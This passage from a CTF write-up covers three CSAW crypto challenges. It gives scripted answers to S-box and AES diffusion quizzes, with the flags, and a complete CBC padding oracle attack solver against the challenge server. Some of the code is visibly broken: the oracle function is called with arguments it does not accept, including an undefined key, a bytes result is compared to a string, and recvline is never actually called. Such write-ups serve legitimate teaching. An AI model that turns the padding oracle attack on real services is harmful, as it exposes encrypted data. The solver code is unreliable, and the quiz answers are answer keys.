*x2*x3*x8+x1*x2*x3*x6*x7+x1*x2*x3*x5+x1*x2*x3*x5*x8+x1*x2*x3*x5*x6*x8+x1*x2*x3*x5*x6*x7+x1*x2*x3*x4*x6*x8+x1*x2*x3*x4*x5+x1*x2*x3*x4*x5*x8+x1*x2*x3*x4*x5*x7*x8+x1*x2*x3*x4*x5*x6*x8")

# Question 10

# Similar to Question 7

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x1,x2,x3,x4,x5,x6,x7,x8")

# Question 11

# Similar to Question 8

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("yes")

# Question 12

# Similar to Question 6

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x8+x7+x6*x8+x5*x8+x5*x7*x8+x5*x6+x5*x6*x8+x4*x8+x4*x7+x4*x7*x8+x4*x6*x8+x4*x6*x7+x4*x5+x4*x5*x8+x4*x5*x7+x4*x5*x7*x8+x4*x5*x6+x4*x5*x6*x8+x4*x5*x6*x7+x4*x5*x6*x7*x8+x3+x3*x8+x3*x7*x8+x3*x6*x8+x3*x6*x7+x3*x6*x7*x8+x3*x5*x8+x3*x5*x7+x3*x5*x7*x8+x3*x5*x6*x8+x3*x5*x6*x7+x3*x5*x6*x7*x8+x3*x4*x8+x3*x4*x7+x3*x4*x6+x3*x4*x6*x7*x8+x3*x4*x5+x3*x4*x5*x6*x7+x3*x4*x5*x6*x7*x8+x2*x8+x2*x7*x8+x2*x6*x7+x2*x5*x8+x2*x5*x7*x8+x2*x5*x6+x2*x5*x6*x7+x2*x5*x6*x7*x8+x2*x4*x8+x2*x4*x7*x8+x2*x4*x6*x8+x2*x4*x5+x2*x4*x5*x8+x2*x4*x5*x7*x8+x2*x4*x5*x6+x2*x4*x5*x6*x7+x2*x4*x5*x6*x7*x8+x2*x3+x2*x3*x7+x2*x3*x7*x8+x2*x3*x5+x2*x3*x5*x8+x2*x3*x5*x6+x2*x3*x5*x6*x7*x8+x2*x3*x4*x6+x2*x3*x4*x6*x8+x2*x3*x4*x6*x7+x2*x3*x4*x6*x7*x8+x2*x3*x4*x5+x2*x3*x4*x5*x7+x2*x3*x4*x5*x6*x8+x1+x1*x8+x1*x7*x8+x1*x6*x8+x1*x6*x7+x1*x6*x7*x8+x1*x5*x8+x1*x5*x7+x1*x5*x6+x1*x5*x6*x8+x1*x5*x6*x7*x8+x1*x4+x1*x4*x8+x1*x4*x7+x1*x4*x6*x8+x1*x4*x6*x7+x1*x4*x6*x7*x8+x1*x4*x5*x8+x1*x4*x5*x7*x8+x1*x4*x5*x6+x1*x4*x5*x6*x8+x1*x4*x5*x6*x7*x8+x1*x3*x8+x1*x3*x7+x1*x3*x6*x7+x1*x3*x6*x7*x8+x1*x3*x5*x8+x1*x3*x5*x7+x1*x3*x5*x7*x8+x1*x3*x5*x6*x8+x1*x3*x4*x7+x1*x3*x4*x6+x1*x3*x4*x6*x7+x1*x3*x4*x6*x7*x8+x1*x3*x4*x5*x8+x1*x3*x4*x5*x7*x8+x1*x3*x4*x5*x6*x7+x1*x2+x1*x2*x8+x1*x2*x6+x1*x2*x6*x7+x1*x2*x6*x7*x8+x1*x2*x5*x7+x1*x2*x5*x7*x8+x1*x2*x5*x6*x7+x1*x2*x4+x1*x2*x4*x7*x8+x1*x2*x4*x6+x1*x2*x4*x6*x7+x1*x2*x4*x5*x7+x1*x2*x4*x5*x7*x8+x1*x2*x4*x5*x6+x1*x2*x4*x5*x6*x8+x1*x2*x4*x5*x6*x7+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3*x7+x1*x2*x3*x6+x1*x2*x3*x6*x8+x1*x2*x3*x5+x1*x2*x3*x5*x8+x1*x2*x3*x5*x7+x1*x2*x3*x5*x7*x8+x1*x2*x3*x5*x6+x1*x2*x3*x5*x6*x8+x1*x2*x3*x5*x6*x7*x8+x1*x2*x3*x4+x1*x2*x3*x4*x8+x1*x2*x3*x4*x7+x1*x2*x3*x4*x7*x8+x1*x2*x3*x4*x6*x8+x1*x2*x3*x4*x5+x1*x2*x3*x4*x5*x7*x8+x1*x2*x3*x4*x5*x6+x1*x2*x3*x4*x5*x6*x8+x1*x2*x3*x4*x5*x6*x7")

# Question 13

# Similar to Question 7

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x1,x2,x3,x4,x5,x6,x7,x8")

# Question 14

# Similar to Question 8

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("yes")

# Question 15

# Here we get asked if sbox1 has complete diffusion. It does not, for output bit y7 is not dependent on input bit x1

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("no")

# Question 16

# Follow up to the previous question, we are asked which output bit from sbox1 is the problem. As stated previously it's y7.

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("y7")

# Question 17

# And here we're asked what is the ANF for output bit 7 of sbox1

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x7+x6+x6*x8+x5*x8+x5*x6+x4*x8+x4*x7+x4*x7*x8+x4*x6*x7+x4*x5*x6+x4*x5*x6*x8+x4*x5*x6*x7+x4*x5*x6*x7*x8+x3*x7+x3*x6+x3*x6*x7+x3*x5+x3*x5*x6+x3*x4+x3*x4*x8+x3*x4*x7+x3*x4*x6*x8+x3*x4*x6*x7*x8+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x2*x8+x2*x7*x8+x2*x6+x2*x6*x7*x8+x2*x5*x7+x2*x5*x6+x2*x5*x6*x8+x2*x4*x8+x2*x4*x6+x2*x4*x6*x7+x2*x4*x6*x7*x8+x2*x4*x5*x8+x2*x4*x5*x7+x2*x4*x5*x6*x7+x2*x4*x5*x6*x7*x8+x2*x3*x8+x2*x3*x6*x8+x2*x3*x6*x7*x8+x2*x3*x5*x7+x2*x3*x5*x6*x8+x2*x3*x4")

# Question 18

# Contonuing from the few previous questions we're asked which input bit is missing from the ANF of output bit 7 of sbox1

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x1")

# Question 19

# Here we get asked if sbox2 has complete diffusion

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("yes")

# Question 20

# Here we get asked if sbox3 has complete diffusion

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("yes")

# Finally the flag

sleep(0.2)
for i in range(5):
	print (r.recvline)


r.interactive()

flag: "csawctf{hopefu11y_+he_know1ed9e_diffu5ed_in+o_your_6r@in5}"


AES Diffusion

Much like the previous challenge we're given a python file and a url to connecto to the challenge server. This time we're given a simulator for AES:

N_ROWS = 4
N_COLS = 4

def CyclicShift(row, shift):
    return row[shift:] + row[:shift]

def ShiftRows(state):
    for row_index in range(N_ROWS):
        state[row_index] = CyclicShift(state[row_index], row_index)
    return state

def BuildExpressionString(column, matrix_row):
    expression = "("
    for (i,coefficient) in enumerate(matrix_row):
        term = str(coefficient) + "*" + column[i]
        should_insert_plus = i < len(matrix_row) - 1
        expression += term
        
        if should_insert_plus:
            expression += " + "
    return expression + ")"

def GetStateColumn(state, column_index):
    column = []
    for row in state:
        column.append(row[column_index])
    return column

def MultiplyColumn(column):
    matrix = [
                [2, 3, 1, 1],
                [1, 2, 3, 1],
                [1, 1, 2, 3],
                [3, 1, 1, 2]
            ]
    
    new_column = []
    for row in matrix:
        new_element = BuildExpressionString(column, row)
        new_column.append(new_element)
    return new_column

def MixColumns(state):
    new_columns = []
    for column_index in range(N_COLS):
        column = GetStateColumn(state, column_index)
        new_column = MultiplyColumn(column)
        new_columns.append(new_column)
    
    return Transpose(new_columns)

def Transpose(matrix):
    return [[matrix[j][i] for j in range(len(matrix))] for i in range(len(matrix[0]))]

def PrettyPrint(matrix):
    for row in matrix:
        print(row)

def PrettyPrint2(matrix):
    for row in matrix:
        for element in row:
            print(element)

state = [["x0", "x4", "x8", "x12"], 
         ["x1", "x5", "x9", "x13"], 
         ["x2", "x6", "x10", "x14"],
         ["x3", "x7", "x11", "x15"]]

def AESRound(state):
    return MixColumns(ShiftRows(state))

def AES(state, rounds):
    for r in range(rounds):
        state = AESRound(state)
    return state

PrettyPrint(AES(state,2))

Like in the previous challenge you answer a series of questions making use of the provided script. The point of this challenge is to teach you that for AES to achieve complete diffusion both the "ShiftRows" and the "MixColumns" steps are necessary.

from pwn import *
from time import sleep

letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

r = remote(b"diffusion-pop-quiz.ctf.csaw.io", 5000)


curQuestion = 1

# Question 1

print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("[['x0', 'x4', 'x8', 'x12'], ['x5', 'x9', 'x13', 'x1'], ['x10', 'x14', 'x2', 'x6'], ['x15', 'x3', 'x7', 'x11']]")


# Question 2
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("[['2*x0 + 3*x5 + 1*x10 + 1*x15', '2*x4 + 3*x9 + 1*x14 + 1*x3', '2*x8 + 3*x13 + 1*x2 + 1*x7', '2*x12 + 3*x1 + 1*x6 + 1*x11'], ['1*x0 + 2*x5 + 3*x10 + 1*x15', '1*x4 + 2*x9 + 3*x14 + 1*x3', '1*x8 + 2*x13 + 3*x2 + 1*x7', '1*x12 + 2*x1 + 3*x6 + 1*x11'], ['1*x0 + 1*x5 + 2*x10 + 3*x15', '1*x4 + 1*x9 + 2*x14 + 3*x3', '1*x8 + 1*x13 + 2*x2 + 3*x7', '1*x12 + 1*x1 + 2*x6 + 3*x11'], ['3*x0 + 1*x5 + 1*x10 + 2*x15', '3*x4 + 1*x9 + 1*x14 + 2*x3', '3*x8 + 1*x13 + 1*x2 + 2*x7', '3*x12 + 1*x1 + 1*x6 + 2*x11']]")


# Question 3
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x0,x5,x10,x15")


# Question 4
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x2,x7,x8,x13")


# Question 5
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("no")

# Question 6
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("12")


# Question 7
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x0:1,x5:1,x10:1,x15:1")

# Question 8
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x0:0,x1:0,x2:0,x3:0,x4:0,x5:0,x6:0,x7:0,x8:0,x9:0,x10:0,x11:0,x12:0,x13:0,x14:0,x15:0")


# Question 9
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("x0")


# Question 10
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("(2*(2*x0 + 3*x1 + 1*x2 + 1*x3) + 3*(1*x0 + 2*x1 + 3*x2 + 1*x3) + 1*(1*x0 + 1*x1 + 2*x2 + 3*x3) + 1*(3*x0 + 1*x1 + 1*x2 + 2*x3))")


# Question 11
print ("Sending answer for question",curQuestion)
curQuestion += 1
sleep(0.2)
r.sendline("no")


sleep(0.2)
for i in range(5):
	print (r.recvline)

r.interactive()

flag: "csawctf{1_n0w_und3r5t4nd_435_d1ffu510n}"

CBC

For the final crypto challenge we're given a ciphertext, the challenge url and the python script running on the challenge server:

from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
import os

def decrypt(txt: str) -> (str, int):
    try:
        token = bytes.fromhex(txt)

        c = AES.new(os.environ["AES_KEY"].encode(), AES.MODE_CBC, iv=os.environ["AES_IV"].encode())
        plaintext = c.decrypt(token)
        unpadded = unpad(plaintext, 16)
        
        return unpadded, 1
    except Exception as s:
        return str(s), 0

def main() -> None:
    while True:
        text = input("Please enter the ciphertext: ")
        text.strip()
        out, status = decrypt(text)
        if status == 1:
            print("Looks fine")
        else:
            print("Error...")

if __name__ == "__main__":
    main()

Judging from the challenge name and the provided script this seems to be a straightforward CBC Padding Oracle Attack challenge (this Wikipedia article does a great job explaining it in detail). Solver:

from pwn import *
import sys

BLOCKSIZE = 16

def cbcDecrypt(ciphertext):
	ct = bytes.hex(bytes(ciphertext))
	r = remote('cbc.ctf.csaw.io', 9996)
	r.recvuntil("Please enter the ciphertext:")
	r.sendline(ct)
	print ("[*] Sent ciphertext")
	result = r.recvline()
	print ("Decryption result:",result)
	if "Error..." in result:
		r.close()
		return False
	elif "Looks fine" in result:
		r.close()
		return True
	else:
		r.close()
		print ("Something went wrong while attempting to decrypt from server")
		sys.exit(1)

def cbcPaddingOracleAttack(blocks):
	plaintexts = []
	
	for p in range(16):
		plaintext = b""
		originalPadding = bytes.fromhex(hex(p)[2:].rjust(2,"0"))	
		for i in range(0, len(blocks)-1):
	
			chunk = b""
	
			for j in range(0,BLOCKSIZE):
				curBlock = bytearray(blocks[i])
				if len(chunk) != 0:
					tmp = BLOCKSIZE - 1
					for ch in range(0, len(chunk)):
						curBlock[tmp] = (len(chunk)+1) ^ chunk[ch] ^ curBlock[tmp]
						tmp -= 1
	
				options = []
				for k in range(0,256):
					curBlock[len(curBlock)-1-j] = k
					if cbcDecrypt( bytearray(blocks[i+1]), key, curBlock):
						options.append(k)
	
				if len(options) == 1:
					chunk += chr( options[0] ^ (len(chunk)+1) ^ blocks[i][BLOCKSIZE-1-j] ).encode()
				else:
					nextChar = b""
					for op in options:
							curChar = chr( op ^ (len(chunk)+1) ^ blocks[i][BLOCKSIZE-1-j] ).encode()
							if curChar == originalPadding:
								nextChar = curChar
					chunk += nextChar
	
			plaintext += chunk[::-1]
		plaintexts.append(plaintext)

	return plaintexts


ct = "73ac6b9467204843d5d15c02c04b2a7e597b04c20f18d0de78512b8e06c4d684e127099a07cb7cb7b89818711a54e7ebc3d4567df35e5b5438416854f808e6e70bd7bb4a5445fba0497bdd11e7b6df0f466ea52c48bf445858c53120f957b976ec1e1a5e7c1ab6c072df8a0cbe0ba84cbd810e2a2d7ea32c317b58378b0b8bed115f9841491791ad05525e6c054a40d6f8eac2dc855964e56e51490712470ee4e68b842251a896da4f02ecc16b4209e89d90e85d4559b7b5e62f4a1f067318870451a681ca3a3144a3e39627774acc062659903db5cec74962a25eca6538000d1cc02d08c5bb9280d30cea4e586dfd05b69ac852d8d758b26aa00973e13bdc09534f300e507680e568908e9c2a366c9a90b082ea0a15ba6849deb2f27c514b82f0198202de7fa72a03befc1eeb5be6a7a17bd6fa6a97410971496909d09be2f7014f78667b0df5d44bf1b7e9437d013badc8509d62fa5722b1aeeb4c7e68e3ee627b1ef5256baba562e1f90bc627ae62e13f53878d9b7ce2bb5d0ee8de05f494be38647362468d1530d7aee8b1857747aadcfd2e43f67a9489efdd75fe986f9a9c2f686a0af020a59860153b9f646d9699b44ffae0b761d959476e960cb354f0d7264c8da1220c13b9c65cf3a1dfae00844b3db7fc4eee87185ba1e71401598d167a787a54d2d363a04daddcf27225656ef664aabf092feb59c16e39986f31a59d00ff1ae8f92347d2543d2d5b0e8af0e4e0856df775087b02dc37c1b2e15269bdd85446c9e00ff648f7de40673c4c73145537e77e452a33c2a989990473414e6694d7e94279dafefa66848373f5789d00d6260708a64cb63ce4ac2ad7ca3f8d00259fadee461070923c8dc4ceed1a439f70353ba4e8b26ad87551b24474ab34fe4c80d92acea95adb2adac69fd6965a58ed628495978a05805044a5e00831ffc07e480de9d166df626502346a82c714d52c02163512197e9f3d98f734ceee0b1de173d91a53dbce124a3d968a4e9aa1fe23e818989ae5734f1a2a2de387abd4a9a4d13ef4a47bf50725614d2fcefdd9f37e209e04f9736f2d04029eb80e837d0fe590edf2d2d7d404f1f333968e33fb2b4a2241cf5193dc4bbc0aeedc6cb200cc659691d2d2d1a3456fc8b827b245c997e4336e3e1217d15d4f0f6ee4f2c48609d1a3c53dc868e52dd2b8a11c0ac8ffa90226377a7b0aa082200f92c8258427aab57f919153c56c9dfaa479baf8bfcb65ac9e2bce451aefb2b20fef795e556fda77e2664dc36dca010ab1a1f7ee838ca11264bfa1265dd009818cbb985ce7c328cb52659a07ed09fd3244a0f2f46602816ca3db74b4fea74261d04a153c34533fb034bfe4a634fc32087290832c367a2b7943c404d7bdf15b06380c57c1f018221f478b6aefd3e63f381eb84377c141a60df7c3f64a0dec8e87d042dead5b0bdf9e97acb4fac853f1fe3780e2a007426af6e086df225f7028f2ed16cdc6e947eb08073fe1705d92359fa32b6ba17c450d8f50902437d722ef0d596f528413c8572d37f84fd0411217ad18b1e0cb21378d87b94a821bceb41ed344764c5be556a126447942d166f6a2159c8f32784f6de7390679c8c411d12b36414679b2cdb1e9848e530458fd650a27d7fc889614bedac0fc15431dddb5555de445e36153bcb1c404782dc4af105d18d4245b3aadf6ec92dee9a7186ba3857a1716bf14a41b2bc1549d9094f17e9a44767501df1c24812e6fb7c20df48d47ea627cfeac77c8dd5a6994650f8736097b7bf2f44dc403a5fea89e5e28db9eefc176c2cdb80603f00c3f7485465daa137d2b851a14208705b3fd8f8b8a3fa845385e49cdee6e0b3a7b7ad9747307d1f30743b844b313c50496f420efbff99bc00d2e8e8b42436ecbcc95060b4656656ea5566e5451114a6e850102aae33c8b7e7a90b68b9953726bcbfbd8de3ec77e131889b6847d4ed88afc73356ef22c29f1b8abee4b0811e24f4da87a25681ea0b28c74fdf6d2bb2761b2a58a1913de8506d786d66ba5116a5a033118c86aec3b400cdb213ffca2f9c5c1cff1b67d431cff97c28b6f8871a13f170f07dd8215516b2d87eb0394868685f843686995fb06b95d3a108c8d27f1ee1df604f0f747e8fad32ed1ddfb8dea3ebb81e1b32b3d28a907fe516c54084da10f12175c5930a4de473575214691d5ddb65ef41281cbcb46563eba05517045eee6fcb921f38e3523aaaf8fbd9f0918fbff3dc7f97a76968b478598af276bc3c37098484d6c96bebeadcea13bc7d99e2a7c38e39965f75cd7993fec9b3acb212ce8b86e16b74c3e4960c62308df936e9de65fe69f012519d1d2d3cb73c31a01eb8f9ea930e5e51e4d75132140899c0012d4c8a72464422232a9499cd5be1fbf45831adc04dc455a093abdc73fb40295ea175ccf5b80c982d980146d9aa67085f0c7d1f900cb28d2b4b9d053644933c40a06743b4675245f89be885b3baef2e256b240c5520d71f7fa1079fbb9ba6f89cb6b96fcb6e236f79a82089262dbd1f7c426741baee206d99c77a2eb7323fd6a42edae2290258e3c121963864c52f54bf8ffef3d216004d2e430cc0dbbfda5ec3677ce4f344eab00558fc91d9320f1dcf2ea1a40605a49700ed364d1f8992867154a72b6987d09fac38dd140d68a37a0b5a24b2789c73cd9ea8308eb05cebc0e002937ef1c99fbcfba456ab757be0d9bfa155aafc67473b85ff63cafdfa4ec0406be41d8c8fbf8c135bf9ccc388773aa47a1599febb55c0bcd5c00613dc83138e3d79534d714a4ef594d6eec533ee7c50a8e9ec76563230474f7f0da1a9d079c5f242989facaee47b556d0b4766fd581b4167029c2d732c0e189e2a37a00a54e43d850d1ba7f5ea5413bda15338783ca8a8bebe4264cdf3c4a927091a1a24c3278141db7be7f8f96873d63bdf8bf85b189de892ef228d441511eac904cf5dca290fc70d379c768116e221a120fb8e378d8e6f0bb03dd899ba32c815c22d19b2c5e4cd8d367aaefa327aa1608e53007f36911f9f215ab7fd800ba9807de83482f675cc9db7e667b52031adab70fa5dec434006f80987f1acd4b4f2f8745cb3a60a49820b6166d135bbff2c9bf7f7ff695174ced6e9eb561caf047201d71d31307a0815f23f8e27d13e99bc580e1a2470197acda11459de2ded7bde440ddee63761e168f5d3b4577bc765dcb568d1fbb237dc583817cfcf08eca76228928c15bcae6d5c4a542aaa1f14413849f199bffeab8d7271fbac7e7586aaff05f91b082f8f27069c71406a9ef81f98ba41d1fc10737a11491657df0b92e4e2fe7b83f601cb216de21cb266849e79208bcb1c0b43777b9859114b8d1b582dcc26b74566a32a44b8c44461023719f59a75f071d9e33"
ctDecoded = bytes.fromhex(ct)

BLOCKSIZE = 16

blocks = []
for i in range(0,len(ctDecoded),BLOCKSIZE):
	blocks.append(ctDecoded[i:i+BLOCKSIZE])

plaintext = cbcPaddingOracleAttack(blocks)
print ("Found plaintext:",plaintext)

flag:"csawctf{I_L0ST_TR4CK_0N_WH3R3_I_W4S_G01NG_W1TH_TH15}"